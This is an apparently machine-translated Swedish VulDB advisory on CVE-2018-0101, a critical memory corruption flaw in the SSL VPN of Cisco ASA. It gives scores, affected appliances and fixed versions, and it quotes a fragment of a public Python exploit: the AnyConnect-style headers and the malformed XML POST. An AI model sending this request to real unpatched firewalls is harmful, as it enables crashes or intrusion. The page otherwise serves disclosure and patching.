Cisco ASA till 9.9.1.1 SSL VPN XML Packet minneskorruption

CVSS Meta Temp poäng	Nuvarande exploateringspris (≈)	CTI intressepoäng
9.5	$0-$5k	0.00

Det var en mycket kritiskt svag punkt upptäcktes i Cisco ASA till 9.9.1.1 (Firewall Software). Som påverkar en okänd funktion av komponenten SSL VPN. Manipulering som ett XML Packet leder till en sårbarhet klass minneskorruption svag punkt.

Felet upptäcktes på 29/01/2018. Den svaga punkten är publicerad 29/01/2018 av NCC Group som cisco-sa-20180129-asa1 / CSCvg35618 i en form rådgivande (Website) (bekräftad). Den rådgivande finns tillgänglig för nedladdning på tools.cisco.com. Denna svaga punkt är känd som CVE-2018-0101. Attacken på nätet kan. Ingen autentisering-krävs för användning. Det finns inga tekniska detaljer, men en exploit känd.

Det var en exploit utvecklats av Sean Dillon i Python och släpptes 2 Veckor efter rapporten. Den exploit kan laddas ner från exploit-db.com. Han deklarerade mycket funktionell. För vulnerability scanner Nessus en plugin har släppts med ID 106484 (Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)), så att sårbarheten kan testas. Den kod som används av utnyttja är:

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'
 
xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""
 
r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False)

En uppgradering till den version 9.1.7.20, 9.2.4.25, 9.4.4.14, 9.6.3.20, 9.7.1.16, 9.8.2.14 eller 9.9.1.2 att åtgärda problemet. En möjlig åtgärd har utfärdats omedelbart efter offentliggörandet.

Sårbarheten dokumenteras i databaser Tenable (106484) och Exploit-DB (43986).

Påverkade

Cisco 3000 Series Industrial Security Appliance
Cisco 5500 Series Adaptive Security Appliances
Cisco 5500-X Series Next-Generation Firewalls
Cisco ASA Services Module for Catalyst
Cisco 1000V Cloud Firewall
Cisco Adaptive Security Virtual Appliance

Produktinfo

Typ

Firewall Software

Säljare

Cisco

namn

Version

Licens

commercial

Stöd

end of life (old version)

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍

CVSSv3info

VulDB Meta Basscore: 10.0
VulDB Meta Temp poäng: 9.8

VulDB Baspoäng: 10.0
VulDB Temp Betyg: 9.5
VulDB Vektor: 🔍
VulDB Pålitlighet: 🔍

Säljare Baspoäng (Cisco): 10.0
Säljare Vector (Cisco): 🔍

NVD Baspoäng: 10.0
NVD Vektor: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vektor	Komplexitet	Autentisering	Sekretess	Integritet	Tillgänglighet
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp
låsa upp	låsa upp	låsa upp	låsa upp	låsa upp	låsa upp

VulDB Baspoäng: 🔍
VulDB Temp Betyg: 🔍
VulDB Pålitlighet: 🔍

NVD Baspoäng: 🔍

Utnyttjarinfo

Klass: Minneskorruption
CWE: CWE-415 / CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Lokal: Nej
Avlägsen: Ja

Tillgänglighet: 🔍
Tillgång: Offentlig
Status: Mycket funktionell
Författare: Sean Dillon
Programmeringsspråk: 🔍
Ladda ner: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Pris förutsägelse: 🔍
Nuvarande prisuppskattning: 🔍

0-Day	låsa upp	låsa upp	låsa upp	låsa upp
I dag	låsa upp	låsa upp	låsa upp	låsa upp

Nessus ID: 106484
Nessus namn: Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)
Nessus Fil: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

Qualys ID: 🔍
Qualys namn: 🔍

Exploit-DB: 🔍

Hotinformationinfo

Intressera: 🔍
Aktiva skådespelare: 🔍
Aktiva APT-grupper: 🔍

Motåtgärderinfo

Rekommenderad: Upgrade
Status: 🔍

Reaktionstid: 🔍
0-dagars tid: 🔍
Exponeringstid: 🔍
Utnyttja fördröjningstid: 🔍

Upgrade: ASA 9.1.7.20/9.2.4.25/9.4.4.14/9.6.3.20/9.7.1.16/9.8.2.14/9.9.1.2

Tidslinjeinfo

27/11/2017 🔍
29/01/2018 +63 dagar 🔍
29/01/2018 +0 dagar 🔍
29/01/2018 +0 dagar 🔍
29/01/2018 +0 dagar 🔍
29/01/2018 +0 dagar 🔍
29/01/2018 +0 dagar 🔍
30/01/2018 +1 dagar 🔍
30/01/2018 +0 dagar 🔍
07/02/2018 +8 dagar 🔍
07/02/2018 +0 dagar 🔍
02/02/2021 +1091 dagar 🔍

Källorinfo

Säljare: cisco.com

Rådgivande: cisco-sa-20180129-asa1 / CSCvg35618
Forskare: Cedric Halbronn
Organisation: NCC Group
Status: Bekräftad
Bekräftelse: 🔍

CVE: CVE-2018-0101 (🔍)
SecurityTracker: 1040292
SecurityFocus: 102845

scip Labs: https://www.scip.ch/en/?labs.20161013

Inträdeinfo

Skapad: 30/01/2018 08:06
Uppdaterad: 02/02/2021 11:14
Ändringar: 30/01/2018 08:06 (102), 03/01/2020 10:55 (2), 02/02/2021 11:14 (2)
Komplett: 🔍

Diskussion

It appears that the issue was indeed "discovered" or "reported" during the time of CVE assignment and it was not a generic pre-assignment.

◂ Tidigare Översikt Nästa ▸

Do you need the next level of professionalism?

Upgrade your account now!